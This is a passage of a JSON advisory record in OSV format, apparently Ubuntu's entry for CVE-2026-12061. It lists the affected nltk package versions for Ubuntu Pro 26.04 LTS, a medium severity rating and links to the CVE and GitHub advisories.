            "ecosystem": "Ubuntu:Pro:26.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.9.2-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/resolute"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.9.1-2",
            "3.9.1-2build1",
            "3.9.2-1",
            "3.9.2-1ubuntu0.1~esm1",
            "3.9.2-1ubuntu0.1~esm2"
          ]
        }
      ],
      "aliases": [],
      "details": "[Unknown description]",
      "id": "UBUNTU-CVE-2026-12061",
      "modified": "2026-10-17T09:37:59Z",
      "published": "2026-08-13T00:00:00Z",
      "references": [
        {
          "type": "REPORT",
          "url": "https://ubuntu.com/security/CVE-2026-12061"
        },
        {
          "type": "REPORT",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12061"
        },
        {
          "type": "REPORT",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897"
        }
      ],
      "related": [],
      "schema_version": "1.7.0",
      "severity": [
        {
          "score": "medium",
          "type": "Ubuntu"
        }
      ],
      "upstream": [
        "CVE-2026-12061"
      ]
    }